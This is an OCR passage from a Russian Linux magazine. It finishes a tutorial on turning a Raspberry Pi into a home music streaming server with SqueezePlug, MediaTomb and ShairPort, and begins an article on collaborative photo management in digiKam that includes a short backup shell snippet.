на строй ки, на жми те кноп ку Finish [Го то во]. По сле это го от кро ет ся 
глав ный ин тер фейс LMS, на что мо жет по тре бо вать ся вре мя, так 
как при этом сканиру ет ся ва ша му зыкаль ная биб лио те ка.

На ви га ция в двух панель ном ин тер фей се ад минист ри ро вания 
LMS до воль но про ста. На ле вой панели мож но про смат ри вать 
свою биб лио те ку, ко то рую LMS уже раз бил на ка те го рии, по ис
полните лям [Artists], жан рам [Genres] и го дам [Years], на осно
вании ме та дан ных фай лов.

При вы бо ре тре ка или аль бо ма его мож но воспро из ве сти или 
до ба вить в те ку щий плейлист, ко то рый ото бра жа ет ся на пра
вой панели. В нижней час ти этой панели есть кноп ка соз дания 
соб ст вен но го плейлис та со все ми тре ка ми те ку ще го плейлис
та. LMS удо бен тем, что в нем мож но соз да вать плейлис ты как 
из локаль ных ме диафай лов, так и из ин тернетра дио и под кас тов.

В нижней час ти ин тер фей са есть кноп ка Settings [На строй ки], 
ко то рая по мо жет на стро ить LMS, вклю чив или от клю чив пла ги ны, 
до ба вив до полнитель ные ме диабиб лио те ки, из менив те му web
ин тер фей са и т. д.

На дан ный мо мент сер вер по то ко во го воспро из ве дения LMS 
пол но стью на стро ен на воспро из ве дение му зы ки. Но ес ли у вас 
нет WiFi плей е ра SqueezeBox от Logitech, на при мер, Boom или 
Touch, эти на строй ки вам не по дой дут. Од на ко LMS мо жет про иг
ры вать му зы ку и на про грамм ные плей е ры. По это му уста но вим 
один в SqueezePlug. Это по зво лит нам воспро из во дить му зы ку 
на ко лон ки, под клю чен ные к зву ко во му вы хо ду или пор там HD
MI или USB RPi.

Как и у по то ко вых сер ве ров, в SqueezePlug то же есть несколь
ко плей е ров, спо соб ных воспро из во дить по то ко вое ве щание LMS. 
Мы восполь зу ем ся SqueezeSlave, плей е ром без гра фи че  ско  го ин
тер фей са для воспро из ве дения по то ков LMS.

Но сна ча ла под клю чи те ко лон ки и убе ди тесь, что они про иг
ры ва ют звук. Под клю чи те ко лон ки к RPi и зай ди те в ин тер фейс 
ад минист ри ро вания SqueezePlug. Зай ди те в Server_and_Player > 
Player > AudioSettings [Сер вер и плей ер > Плей ер > На строй ки зву
ка]. Здесь мож но вы брать ау диоуст рой ст во для ди на ми ков и про
иг рать че рез них тес то вые зву ки.

Пе рей ди те к Select_Sound_Output [Вы брать зву ко вой вы ход] 
и вы бе ри те Auto [Ав то ма ти че  ски], что бы SqueezePlug оп ре де лил, 
под клю че ны ли ко лон ки к ау дио вы хо ду или к пор ту HDMI. Вер
нитесь в на строй ки зву ка [Audio Settings] и про иг рай те тес то вые 
зву ки с по мо щью кно пок Test_Sound_1 [Тес то вый звук 1] и Test_
Sound_2 [Тес то вый звук 2], что бы про ве рить, мо жет ли Squeeze-
Plug про иг ры вать звук че рез под клю чен ные ко лон ки.

Те перь вернитесь в ме ню Player [Плей ер] и вы бе ри те Squeeze
Slave, что бы уста но вить плей ер. Мож но не толь ко уста но вить, 
но и об но вить или уда лить плей ер. Как и в LMS, плей ер Squeeze-
Slave за гру зит ся из Ин тернета и уста но вит ся ав то ма ти че  ски.

Он об на ру жит в се ти сер вер LMS и ото бра зит его IPад рес. 
Он так же по зво лит вам вы брать зву ко вую кар ту, к ко то рой вы под
клю чи ли ди на ми ки. Ес ли вы под клю чи ли ко лон ки к зву ко во му 
вы хо ду RPi, вы бе ри те RPI_internal. По сле уста нов ки плей е ра пе
рей ди те в webин тер фейс LMS. В пра вом верхнем уг лу вы уви ди те 

вы па даю щий спи сок, где есть все плей е ры, для ко то рых воз мож
но по то ко вое ве щание с LMS. Те перь там есть и SqueezeSlave. 
При воспро из ве дении тре ка он бу дет зву чать в ко лон ках, под клю
чен ных к RPi.

Но за хо дить в webин тер фейс ка ж дый раз, когда нуж но из
менить трек, ма ло ра до сти. Вме сто это го возь ми те те ле фон или 
план шет с Android, зай ди те в Google Play и за гру зи те про грам
му для управ ления сер ве ром, та кую как Logitech Squeezebox Con-
troller или Squeezer. При ло жение ав то ма ти че  ски об на ру жит сер
вер и под клю чит ся к нему, пре доста вив вам пол ный кон троль 
над воспро из ве дением.

Го то во! Сер вер по то ко во го воспро из ве дения пол но стью на
стро ен. Те перь мож но за крыть сес сию SSH или, от клю чив мони
тор, спря тать RPi за HiFi ко лон ка ми вме сте с USBдис ком. Те перь 
ка ж дый раз, когда за хо ти те по слу шать му зы ку, про сто возь ми те 
те ле фон, за пусти те про грам му для уда лен но го управ ления, от
крой те свою му зыкаль ную кол лек цию и на жми те Play [Пуск].

Рас ши ря ем по ток
Как вы, воз мож но, за ме ти ли при уста нов ке LMS, в Squeeze-
Plug есть и дру гие сер ве ры по то ко во го воспро из ве дения, та кие 
как MiniDLNA и Media Tomb. Media Tomb – ме диасер вер UPnP 
(Universal Plug and Play), ко то рый мо жет ор ганизо вать по то ко вое 
ве щание на UPnPсо вмес ти мые уст рой ст ва, вклю чая на столь
ные плей е ры вро де VLC, те ле фо ны с Android и да же PlayStation 3. 
MiniDLNA – лег кая аль тер на ти ва Media Tomb, но у него нет webин
тер фей са, и на страи вать его нуж но в тек сто вом фай ле, по это му 
мы восполь зу ем ся Media Tomb.

Что бы уста но вить Media Tomb, зай ди те в SqueezePlug и пе рей
ди те в ок но на стро ек. За тем зай ди те в Server_and_Player > Server 
> Media_Tomb [Сер вер и плей ер > Сер вер > Media_Tomb]. Вы уви
ди те зна ко мые ин ст ру мен ты для уста нов ки и уда ления сер ве ра. 
При вы бо ре Install [Ус та но вить] сер вер за гру зит ся из Ин тернета, 
и, как и в LMS, поя вит ся ок но под твер ждения с IPад ре сом ин тер
фей са ад минист ра то ра (он ис поль зу ет порт 49152), а так же с име
нем поль зо ва те ля для вхо да и па ро лем по умол чанию.

Что бы Media Tomb смог ра бо тать с фай ла ми, ему нуж но ука зать 
ме диабиб лио те ку. Зай ди те в его webин тер фейс с ло ги ном и па
ро лем по умол чанию. В ле вом столб це вы бе ри те Filesystem [Фай
ло вая сис те ма] и вы бе ри те ка та лог, со дер жа щий ме диафай лы 
(в на шем слу чае /mnt/hd1). Спра ва поя вят ся ва ши ме диафай лы. 
На жми те на «+» спра ва от фай ла или ка та ло га. Это пре доста вит 
об щий доступ к ка та ло гу с на строй ка ми по умол чанию. Сле дую
щий знак так же по зво лит пре доста вить об щий доступ к фай лу/
ка та ло гу, но пре доста вит вам до полнитель ные воз мож но сти, на
при мер, ав то ма ти че  ское сканиро вание биб лио те ки с за дан ным 
ин тер ва лом вре мени. Про смот реть ме диафай лы в об щем досту
пе мож но, вы брав Database [Ба за дан ных] в ле вом столб це.

> Media Tomb мо жет вос про из во дить не толь ко му зы ку и не толь ко 
на под клю чен ные ко лон ки� Это настоящий ас!

> Ес ли у вас нет ап-
па рат но го плей е ра 
Logitech, не страш-
но: ни чуть не слож-
нее на стро ить 
вос про из ве де ние 
на про грамм ный 
плей ер�
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П
о сле уста нов ки Media Tomb и до бав ления фай лов муль
ти ме диа все по су ти го то во. Те перь лю бой UPnPсо
вмес ти мый плей ер на лю бом уст рой ст ве в той же се ти, 

что и Media Tomb, ав то ма ти че  ски об на ру жит сер вер.
Увы, со стояние ме диаплей е ров UPnP в Linux до воль но пла

чев ное. Ме диаплей е ры по умол чанию в Gnome и KDE не мо гут 
воспро из во дить по то ки с ме диасер ве ров UPnP. У плей е ра Ama-
rok в KDE есть пла гин, по зво ляю щий ему уви деть ме диасер ве ры 
UPnP, но иногда он не на страи ва ет ся на наш сер вер UPnP.

Един ст вен ный ме диаплей ер, ко то рый без про блем про из во
дит по ток из Media Tomb – VLC. К то му же он кросплат фор мен ный, 
и с его по мо щью мож но воспро из во дить ме диа в Windows, Mac 
OS X, Linux и дру гих опе ра ци он ных сис те мах.

Что бы воспро из ве сти по ток из Media Tomb, за пусти те VLC и от
крой те ок но Playlist [Плейлист], на жав Ctrl+L или вы брав пункт 
ме ню View > Playlist [Вид > Плейлист]. На ле вой панели от крой те 
Local Network [Локаль ная сеть] и вы бе ри те Universal Plug ‘n’ Play. 
От кро ет ся спи сок ме диасер ве ров, ко то рые VLC об на ру жил в ва
шей се ти.

Сер вер с именем MediaTomb – тот, что мы как раз на строи ли 
в RPi. Мож но щелк нуть на нем и про смот реть со дер жи мое сво ей 
ме диабиб лио те ки. Най дя файл, ко то рый вы за хо ти те про иг рать, 
два ж ды щелкните на нем. Че рез несколь ко се кунд VLC начнет по
сы лать его на локаль ный ком пь ю тер.

Ес ли вы хо ти те воспро из во дить по то ки UPnP на те ле фон или 
план шет с Android, для это го в Google Play есть несколь ко при ло
жений. Мы ре ко мен ду ем BubbleUPnP. Пол ная вер сия на мо мент 
на пи сания ста тьи сто ит 3,04 ф. ст.; кро ме то го, есть бес плат ная 
вер сия с рек ла мой и уме рен ны ми ог раничения ми.

Но помните, что са мо BubbleUPnP муль ти ме диа не воспро из во
дит. Для это го оно поль зу ет ся внешним плей е ром, та ким как MX 
Player, MoboPlayer или DicePlayer. Убе ди тесь, что на ва шем те ле
фоне или план ше те та кой плей ер есть.

При пер вом за пуске BubbleUPnP по про сит вас на стро ить по
то ко вое воспро из ве дение че рез Ин тернет, что бы воспро из во
дить муль ти ме диа на лю бое уст рой ст во че рез Ин тернет. По ка 
это мож но про пустить, поскольку для воспро из ве дения кон тен та 
по локаль ной се ти такое не требуется.

В за пу щен ном BubbleUPnP пе ре клю чи тесь на вклад ку Devices 
[Уст рой ст ва] со спи ском рен де ре ров и биб лио тек. Убе ди тесь, что 
биб лио те ка ссы ла ет ся на MediaTomb, наш по то ко вый сер вер. За
тем пе ре клю чи тесь на вклад ку Library [Биб лио те ка] с на шей биб
лио те кой муль ти ме диа, ав то ма ти че  ски раз би той на пап ки, та кие 
как Albums [Аль бо мы], Recently Played [Не дав но воспро из ве ден
ное] и т. д. 

Для воспро из ве дения ау дио или ви део фай ла во внешнем ме
диаплей е ре щелкните на этом фай ле. А те перь не здо ро во ли 
бы ло бы про иг ры вать му зы ку со сво его мо биль но го те ле фо на 
или план ше та на ко лон ках HiFi, под клю чен ных к RPi?

Ес ли вы сле до ва ли с на ми шаг за ша гом, те перь у вас все на
строе но. Все, что вам нуж но – плей ер UPnP в SqueezePlug, та кой 
как SqueezeSlave, ко то рый мы уста но ви ли на ша ге 5, и при ло жение 
BubbleUPnP на те ле фоне с Android для по то ко во го воспро из
ве дения му зы ки. Ес ли все это у вас есть, за пусти те BubbleUPnP 
и пе рей ди те на вклад ку Devices. Здесь из мените рен де ре ры 
на SqueezeSlave и биб лио те ки на Local Media Server [Локаль ный 
ме диасер вер]. Пе ре клю чи тесь на вклад ку Library и вы бе ри те 
трек на сво ем те ле фоне – и он начнет воспро из во дить ся в ко лон
ках, под клю чен ных к RPi, со всем как в AirPlay!

По ток с ShairPort
Кста ти об AirPlay : ес ли у вас есть уст рой ст во с iOS, мож но 
воспро из во дить му зы ку на ко лон ки RPi, так же, как и на ко лон
ки AirPlay. Но для это го нуж но уста но вить в SqueezePlug еще од
ну до полнитель ную про грам му – ShairPort, она уме ет по лу чать 
и воспро из во дить по то ки AirPlay.

Что бы уста но вить ShairPort, зай ди те в ме ню на строй ки Squeeze-
Plug и вы бе ри те пункт ме ню Server_and_Player > Player > ShairPort 
[Сер вер и плей ер > Плей ер > ShairPort]. Опять же, как и всегда 
в SqueezePlug, про грам ма бу дет за гру же на и уста нов ле на ав то ма
ти че  ски. Вам нуж но бу дет толь ко за дать имя, иден ти фи ци рую щее 
плей ер ShairPort для уст рой ст ва iOS (по умол чанию – AirPi). По сле 
уста нов ки возь ми те уст рой ст во с iOS, за пусти те лю бую про грам
му воспро из ве дения му зы ки и на жми те кноп ку AirPlay. Вы уви
дите имя, ко то рое за да ли для уст рой ст ва ShairPort. Щелк ните 
по нему, и му зы ка начнет про иг ры вать ся на уда лен ные ко лон ки!

Ес ли вы сле до ва ли на ше му ру ко во дству, то те перь у вас есть 
от лич ная сис те ма, ко то рая не толь ко воспро из во дит му зы ку 
по все му до му на лю бые уст рой ст ва, но так же мо жет воспро из во
дить му зы ку с лю бо го уст рой ст ва Android и Apple. И вы до би лись 
все го это го с от кры той про грам мой в несколь ко раз де шев ле ана
ло гич ных сис тем с про прие тар ны ми уст рой ст ва ми Sonos или Air
Play. Есть чем по хва стать ся! |

> Бла го да ря UPnP, лю бое со вмес ти мое уст рой ст во в се ти смо жет 
про иг ры вать по ток от Media Tomb�

> На вклад ке 
Devices [Уст рой-
ст ва] BubbleUpnP 
на хо дит ся спи-
сок рен де ре ров 
и биб лио тек�

За пуска ем MediaTomb и VLC
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Мы рас ска ж ем о сре де со вме ст ной ра бо ты над фо то гра фия ми 
на ба зе digiKam, ко то рая ис поль зу ет ся в основ ном для сле дую ще
го сце на рия: есть се мья или груп па лю дей, ко то рые хо тят сфор
ми ро вать, клас си фи ци ро вать, из ме нять и под дер жи вать од ну 
боль шую об щую кол лек цию циф ро вых фо то гра фий на сво их 
локаль ных ком пь ю те рах или в локаль ной се ти. Пред ло жен ный 
ме тод несо вер шенен, но у него есть пре иму ще ст ва:
» у ка ж до го уча стника мо гут быть и лич ные аль бо мы digiKam;
» все функ ции digiKam доступ ны всем поль зо ва те лям;
» все дей ст вия мак си маль но ав то ма ти зи ро ва ны;
» все уча стники мо гут раз ме щать необ ра бо тан ные фо то гра фии 
в об щем аль бо ме;
» ка ж дый уча стник мо жет ра бо тать с лю бо го ком пь ю те ра из до
ма или – при пра виль ных на строй ке и ши рине ка на ла – уда лен но. 

Но опи сан ная ниже про це ду ра на строй ки и ис поль зо вания digi-
Kam – толь ко часть за да чи, не пер вая и да же не глав ная. Дру гие 
час ти за да чи – понимание ря да об щих кон цеп ций, тща тель ное 
планиро вание и глав ное – стрем ление ка ж до го уча стника поль
зо вать ся этим ме то дом на прак ти ке. По жа луй ста, на бе ри тесь тер
пения: об щую кар ти ну опи сы вать доль ше, чем ее реа ли зо вать, 
но ес ли не сде лать это го, все дальней шее ут ра чи ва ет смысл.

С техниче  ской точ ки зрения, основ ных тре бо ваний все го два. 
Пер вое – все уча стники долж ны поль зо вать ся од ной и той же вер
си ей digiKam. До бить ся это го непро сто, так как на прак ти ке при
дет ся тре бо вать, что бы у всех уча стников был один и тот же ди
ст ри бу тив GNU/Linux и что бы они об нов ля ли его од но вре мен но. 
Од на ко из бе жать это го никак нель зя, так как при ав то ма ти че  ской 
об ра бот ке одних и тех же ме та дан ных раз ны ми вер сия ми digiKam 
мо гут возникать про бле мы.

Вто рое тре бо вание – хо тя бы один уча стник дол жен знать Linux 
доста точ но хо ро шо, что бы вы пол нять неко то рые ад минист ра тив
ные дей ст вия в команд ной стро ке; пи сать код не при дет ся, но при
дет ся ра бо тать вне digiKam, на би рая ко ман ды в команд ной стро
ке и соз да вая про стые скрип ты. Это обя за тель но, т. к. неко то рые 
из этих команд или их па ра мет ров за ви сят от ис поль зуе мо го ди ст
ри бу ти ва (ди ст ри бу ти вов) Linux, их кон фи гу ра ции и струк ту ры до
машней локаль ной се ти. Изза необъ ят но го ко ли че  ст ва со че таний 
мы про сто не смог ли бы под роб но опи сать все воз мож ные на бо ры 
команд, да же не бу ду чи ог раниче ны че тырь мя страница ми. Од на ко 
мы со об щим доста точ но под роб но стей для то го, что бы вы лег ко 
на шли под хо дя щую для сво ей кон фи гу ра ции до ку мен та цию.

Не мно го по иг ра ем в ад во ка та дья во ла: уве ре ны ли вы и ва
ша «ко ман да», что вам это нуж но? Ведь digiKam из на чаль но 
не пред на зна чал ся для команд ной ра бо ты, и та ким ско рее все го 
и останет ся. По то му мы и ска за ли, что пред ла гае мый ме тод несо
вер шенен. Его от но си тель но про сто реа ли зо вать и ис поль зо вать, 
и он по зво ля ет уча стникам со вме ст но поль зо вать ся все ми воз
мож но стя ми digiKam в объ е ме, бо лее чем доста точ ном для мно
гих групп. В то же вре мя он не мо жет быть пол но стью про зрач ным 
для конеч ных поль зо ва те лей, и ес ли вам че гото не хва тит, при
дет ся его рас ши рять.

По это му ес ли вы и ва ша груп па хо ти те толь ко по мес тить в об
щий доступ и, воз мож но, клас си фи ци ро вать по тэ гам или да те 

Б
ла го да ря циф ро вым ка ме рам и смарт фо нам се го дня да
же в неболь шой се мье, чле ны ко то рой не ис пы ты ва ют 
боль шо го ин те ре са к фо то гра фии, ка ж дый ме сяц по яв

ля ет ся несколь ко со тен но вых сним ков. Хранить ты ся чи фо то
гра фий раз бро сан ны ми по раз ным уст рой ст вам или сва лен ны ми 
без раз бо ра в од нудве пап ки – это все рав но что не иметь их во
все. Кол лек ция ми фо то удоб но и при ят но поль зо вать ся толь ко 
тогда, когда их лег ко най ти, фо то гра фии снаб же ны ком мен та
рия ми, а пло хие или поч ти оди на ко вые сним ки уда ле ны. Но что бы 
это го до бить ся, мо жет по тре бо вать ся очень мно го вре мени, ес ли 
не раз де лить на груз ку.

Мар ко Фио рет ти объ яс ня ет, как эф фек тив но рас ки дать на всех управ ле ние  
боль шой кол лек ци ей циф ро вых фо то гра фий.

digiKam: Труд 

> Се мей ная кол лек-
ция фо то гра фий, 
и те ма digiKam для 
ре жи ма вла дель ца�
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Мар ко Фио рет ти –  
ав тор «Се мей но го 
ру ко во дства 
по циф ро вой сво
бо де», а так же ак
ти вист сво бод но го 
ПО и про грам мист.
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один боль шой на бор го то вых фо то гра фий, то digiKam, воз мож но, 
не луч шее ре шение. Лю бая из про грамм, пред став лен ных в на
шем Сравнении он лайнменед же ров фо то га ле реи в LXF163, пре
крас но спра вит ся с этой за да чей в мно го поль зо ва тель ском ре жи
ме без до полнитель ной на строй ки.

Вве дение в DAM в фо то гра фии
DAM (Digital Assets Management – управ ление циф ро вы ми ре сур са
ми) – об щий тер мин для пра вил и луч ших под хо дов, ко то рым нуж
но сле до вать при управ лении слож ны ми кол лек ция ми циф ро вых 
фай лов. По час ти фо то гра фий DAM ка са ет ся фор ма тов и имен. 
Нуж но вы брать пра виль ный фор мат (фор ма ты), в ко то рых долж
ны хранить ся об ра бо тан ные фо то гра фии. В боль шин ст ве слу ча
ев под хо дят PNG или JPEG. Сложнее с име на ми. Лю бая об щая кол
лек ция фо то гра фий останет ся, или станет, бес фор мен ной гру дой, 
ес ли уча стники не при дер жи ва ют ся одних и тех же имен для оп
ре де лен ных ве щей. На при мер, все уча стники обя за ны при ме нять 
оди на ко вую схе му име но вания для всех аль бо мов и фо то гра фий, 
неза ви си мо от то го, от ка ко го поль зо ва те ля или с ка кой ка ме ры, 
смарт фо на или сканера они бы ли по лу че ны! Боль шин ст во фо то
гра фов ис поль зу ет да ты и в име нах фай лов, и в име нах аль бо мов 
(на при мер, ГГГГMMДД_от пуск_тур ба за в име нах аль бо мов) – это 
един ст вен ный спо соб га ран ти ро вать, что все фо то гра фии оста
нут ся в пра виль ном по ряд ке, да же ес ли объ е динить аль бо мы или 
до ба вить фай лы; при этом уце ле ет по иск по тэ гам.

Кста ти о тэ гах! Хо ро шие име на и ие рар хия тэ гов де ла ют ра бо
ту с на бо ром фо то гра фий го раз до удобнее. По трать те немно го 
вре мени и про ду май те свое де ре во тэ гов и со гла шения по их ис
поль зо ванию, или хо тя бы пред ставь те, как они долж ны по мочь 
вам. Вся че  ски из бе гай те си нонимов! Как по ме тить фо то гра фии 
с со бы тия ми из жизни сво бод но го ПО? “Free Software”, “Free SW”, 
“FOSS” или както еще? По дой дет лю бой ва ри ант, ес ли у всех 
он бу дет один и тот же!

Конеч но, ис чер пы ваю щую струк ту ру тэ гов для всех фо то гра
фий, ко то рые вы и ва ши партнеры сниме те за всю жизнь, сразу 
при ду мать невоз мож но. Тем не менее, чем боль ше вы пред ва ри
тель но оп ре де ли те на бу ма ге, тем мень ше нуд ных дей ст вий вам 
при дет ся по вто рять в бу ду щем. В ру ко во дстве по digiKam есть 
пре крас ный раз дел о DAM. По жа луй ста, про чти те его внима тель
но, пре ж де чем пре тво рять в жизнь то, что узнае те на этом уроке.

Об зор ар хи тек ту ры
Не ко то рые свой ст ва (и ог раничения) digiKam ока зы ва ют пря мое 
влияние на со вме ст ную ра бо ту че рез эту про грам му. Пер вое – по
ня тия кол лек ций и аль бо мов. У ка ж до го поль зо ва те ля digiKam 
мо жет быть несколь ко неза ви си мых кол лек ций изо бра жений. 
Каж дая кол лек ция мо жет на хо дить ся на соб ст вен ном уст рой ст ве 
хранения дан ных, будь то до машний ка та лог, внешний USBдиск 
или уда лен ный раз дел. Внут ри кол лек ции изо бра жения объ е ди
ня ют ся в аль бо мы и по даль бо мы, ко то рым со от вет ст ву ют обыч
ные ка та ло ги в фай ло вой сис те ме.

Для ра бо ты digiKam нуж ны две ба зы дан ных: од на для дан ных 
digiKam, ко то рые мо гут быть об щи ми или от но ся щим ся к изо
бра жениям, и вто рая – для хранения миниа тюр изо бра жений. 

По умол чанию это ба зы дан ных фор ма та SQLite в двух фай лах: 
digikam4�db и thumbnails-digikam�db. Аль тер на ти вой мо гут быть 
ре ля ци он ные ба зы дан ных MySQL с те ми же име на ми. Ба зы дан
ных SQLite по умол чанию локаль ные и недоступ ны с дру гих ком
пь ю те ров или учет ных за пи сей. В от ли чие от них, ба зы дан ных 
MySQL мо гут жить на уда лен ном ком пь ю те ре. Ка кой бы фор мат 
ни ис поль зо вал ся, у поль зо ва те ля digiKam мо жет быть сколь ко 
угод но кол лек ций фо то гра фий, но лишь несколь ко баз дан ных.

Ме сто по ло жение кол лек ции мо жет стать по тен ци аль ным ис
точником непри ят но стей, когда digiKam ис поль зу ет ся с раз лич
ных ком пь ю те ров. В име нах кол лек ций ис поль зу ет ся уникаль
ный иден ти фи ка тор (UUID) фи зи че  ско  го уст рой ст ва, на ко то ром 
они рас по ло же ны, или, когда он недосту пен (на при мер, для RAID, 
уда лен ных ка та ло гов и т. п.), толь ко путь до их ка та ло га. По это му 
в об щем слу чае ме сто по ло жение кол лек ции, со хра няе мое в ба зе 
дан ных digiKam, мо жет быть кор рект ным толь ко в том слу чае, ес
ли digiKam за пуска ет ся на за дан ном ком пь ю те ре и/или для за дан
ной учет ной за пи си.

А есть еще и ме та дан ные (см. врез ку). digiKam уме ет хранить 
их не толь ко в сво ей внут ренней ба зе дан ных, но и в са мих фо то
гра фи ях или в от дель ных, так на зы вае мых при став ных [sidecar] 
фай лах. Ес ли хранить ме та дан ные толь ко в ба зе дан ных, digiKam 
бу дет ра бо тать го раз до бы ст рее. Ес ли хранить их в фай лах, они 
оста нут ся доступ ны ми, ес ли вы од на ж ды от ка же тесь от digiKam 
или его ба за дан ных бу дет по вре ж де на изза про грамм ных или 
ап па рат ных оши бок. К со жа лению, изза нехват ки ре сур сов, ва
ри ан тов ди зай на и неис прав лен ных оши бок син хрониза ция тэ гов 
в этих трех мес тах ав то ма ти че  ски не под дер жи ва ет ся (да же для 
од но го поль зо ва те ля).

В digiKam так же мно го функ ций, ко то рые для про сто ты мож но 
на звать не свя зан ны ми с ба зой дан ных. Это фильт ры и опе ра ции 
для руч ной об ра бот ки изо бра жений – от уда ления крас ных глаз 
до об рез ки, по во ро та, ви зу аль ных эф фек тов и т. д.

Ог раничение на од ну ба зу дан ных на поль зо ва те ля и про бле ма 
с син хрониза ци ей ме та дан ных – два очень важ ных ог раничения 

со вме ст ный

 » Не хотите пропустить номер?  Подпишитесь на www.linuxformat.ru/subscribe/!

В кон тек сте дан но го урока – упо ми ная 
толь ко о том, что ока зы ва ет пря мое вли
яние на на шу те му – ме та дан ные изо бра
жений – это вся ин фор ма ция о циф ро вой 
фо то гра фии, ко то рую мо жет понимать 
и хранить digiKam. Не ко то рые ме та дан ные 
за пи сы ва ют ся циф ро вы ми ка ме ра ми пря
мо в фай лы изо бра жений – на при мер, вре
мя соз дания или вы держ ка. Дру гие до бав
ля ют ся поз же менед же ра ми фо то гра фий 
вро де digiKam или ути ли та ми команд ной 
стро ки вро де exiftool. Одни ме та дан ные 
(на при мер, экс по зи ция или гео гра фи че
 ские ко ор ди на ты съем ки) никогда не ме ня

ют ся. Дру гие (на при мер, рей тин ги, ком
мен та рии или за го ло вок) мо гут ме нять ся 
неод но крат но.

Все ме та дан ные, хранимые в фо то гра
фи ях, доступ ны неза ви си мо от digiKam. 
Но они так же доступ ны всем, у ко го есть 
ко пия этих фо то гра фий, ес ли вы не уда
ли ли их пе ред пуб ли ка ци ей. А все, что 
вы храните в ба зе дан ных, яв ля ет ся 
при ват ным... по ка ктото не ук рал ваш 
па роль или но ут бук. digiKam по зво ля ет 
за дать, ка кие ме та дан ные бу дут за пи сы
вать ся в фо то гра фии: поль зуй тесь этим 
от вет ст вен но.

Ме та дан ные
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со вме ст ной ра бо ты с digiKam. Боль шин ст во прие мов ра бо ты 
с «несколь ки ми digiKam», ко то рые мож но най ти в Се ти, от но сят ся 
к дру гой си туа ции, когда толь ко один поль зо ва тель пы та ет ся по
лу чить доступ ко всем и толь ко сво им соб ст вен ным кол лек циям 
фо то гра фий digiKam с раз ных ком пь ю те ров в раз ные мо мен ты 
вре мени.

Тео ре ти че  ски мож но «схит рить» несколь ки ми спо со ба ми – 
на при мер, за дав в на строй ках двух эк зем п ля ров digiKam од ну 
и ту же ба зу дан ных MySQL с одними и те ми же ло ги ном и па ро
лем. Но так мы не по мо жем лю дям, ко то рые хо тят иметь и при
ват ные кол лек ции, и это рис ко ван ный спо соб, спо соб ный за вес ти 
в ту пик. digiKam не пред на зна чен для под держ ки од но вре мен но го 
досту па – воз мож но, с раз ны ми поль зо ва тель ски ми на строй ка
ми – к од но му на бо ру фо то гра фий, баз дан ных и ме та дан ных. 
Реа ли за ция этой под держ ки по ка не за планиро ва на, и нет га ран
тии, что лю бая «хит рость» на этой ста дии про дол жит ра бо тать 
в сле дую щей вер сии. По это му мы пред ло жим дру гой, не иде аль
ный, но бо лее безо пас ный спо соб.

Кри те рии ра бо че го про цес са
Ос нов ные кри те рии со вме ст но го ра бо че го про цес са на ба зе digi-
Kam долж ны быть та ко вы:
1 Вы пол нять мак си маль но воз мож ный объ ем дей ст вий вне 
digiKam.
2 Раз ре шить ком пь ю те ру де лать это ав то ма ти че  ски.
3 На сколь ко это воз мож но, от де лить опе ра ции, не свя зан ные 
с ба зой дан ных (от бра ков ка, уда ление крас ных глаз, ре дак ти ро
вание), от про чих (тэ ги, рей тинг, ком мен та рии).
4 Сна ча ла вы пол нять опе ра ции, не свя зан ные с ба зой дан ных. 
Воз мож ное ис клю чение – гео тэ ги. Их мож но про ста вить ав то ма
ти че  ски в са мом на ча ле вне digiKam (см. ниже).

На зна чение двух по следних кри те ри ев сей час про ясним. А пер
вые два долж ны быть по нят ны: мак си маль ная ав то ма ти за ция 
дей ст вий с по мо щью скрип тов, осо бен но неко то рых на чаль ных 
скуч ных дей ст вий, эко но мит мас су вре мени, умень ша ет ко ли че
 ст во оши бок и по зво ля ет обой ти ог раничения digiKam. И вот как 
реа ли зо вать это на прак ти ке. Вы мо же те адап ти ро вать этот ме
тод к сво им по треб но стям, ес ли со блю да ют ся при ве ден ные вы ше 
кри те рии и ес ли ка ж дый уча стник ра бо та ет с об щи ми аль бо ма ми 
сле дую щим об ра зом:
1 Опе ра ции, не свя зан ные с ба зой дан ных, вне digiKam: 1. за груз
ка изо бра жений из ка ме ры во вре мен ную пап ку; 2. ре зерв ное ко
пи ро вание в дру гой ка та лог; 3. пе ре име но вание; 4. про ста нов ка 
гео тэ гов, ес ли необ хо ди мые дан ные доступ ны; 5. кон вер та ция 
фо то гра фий в фор мат с по те ря ми дан ных.
2 Руч ные опе ра ции, не свя зан ные с ба зой дан ных, в digiKam: 
1. от бра ков ка – чем рань ше вы из ба ви тесь от пло хих фо то гра фий, 
тем луч ше; 2. ре дак ти ро вание – уда ление крас ных глаз, ви зу аль
ные эф фек ты, кор рек ция кон тра ста и т. д.; 3. пе ре ме щение но вых 
фо то гра фий в их окон ча тель ное ме сто по ло жение внут ри об ще
доступ ной кол лек ции digiKam; 4. ре дак ти ро вание в digiKam, свя
зан ное с ба зой дан ных – пе ре име но вание аль бо мов, за тем про
став ление тэ гов, оце нок и ком мен ти ро вание фо то гра фий.

Все опе ра ции эта па 1 мо гут и долж ны вы пол нять ся ав то ма ти
че  ски пу тем за пуска од но го скрип та обо лоч ки, что мо гут все уча
стники ко ман ды. Пер вые два ша га мо гут вы гля деть при мер но так:
CAMERA_NAME=$1
USERNAME=`whoami`
find /media/$CAMERA_NAME type f iname “*jpg” exec cp p {} 
$TEMPFOLDER/$USERNAME/
cp r p $TEMPFOLDER/$USERNAME/* 
$BACKUP_FOLDER/$USERNAME

Ша ги 1.3 и 1.4 мож но ав то ма ти зи ро вать скрип та ми, о ко то
рых мы рас ска зы ва ли в стать ях «Exiftools: Фо то по по лоч кам» 
(LXF143) и «Гео тэ ги» (LXF112). Шаг 1.5 – за да ча для ко ман
ды convert па ке та Imagemagick, доступ но го во всех ди ст ри бу ти
вах Gnu/Linux. Три по следних эта па не ну ж да ют ся в по яснениях. 
Раз ные уча стники ко ман ды мо гут ра бо тать на эта пе 2 од но вре
мен но, в digiKam или лю бой дру гой про грам ме для ре дак ти ро
вания изо бра жений. Это не про бле ма, по то му что, вопер вых, 
ка ж дый за гру жа ет свои фо то гра фии в соб ст вен ный ка та лог 
($TEMPFOLDER/$USERNAME/), и, вовто рых, не об ра ба ты ва ют ся 
ме та дан ные (за ис клю чением гео тэ гов, ко то рые не долж ны ме
нять ся). Эта пы 3 и 4 нуж но обя за тель но вы пол нять в digiKam!

Сей час вы, конеч но, ду мае те: «И в чем сек рет? Как за ста вить все 
это ра бо тать для групп поль зо ва те лей?» Сек рет в том, что для эта
пов 3 и 4 соз да ет ся спе ци аль ный поль зо ва тель в Linux. Поль зо ва
тель, един ст вен ной при чи ной су ще ст во вания ко то ро го яв ля ет ся 
вла дение об щей кол лек ци ей, и един ст вен ный поль зо ва тель, ко
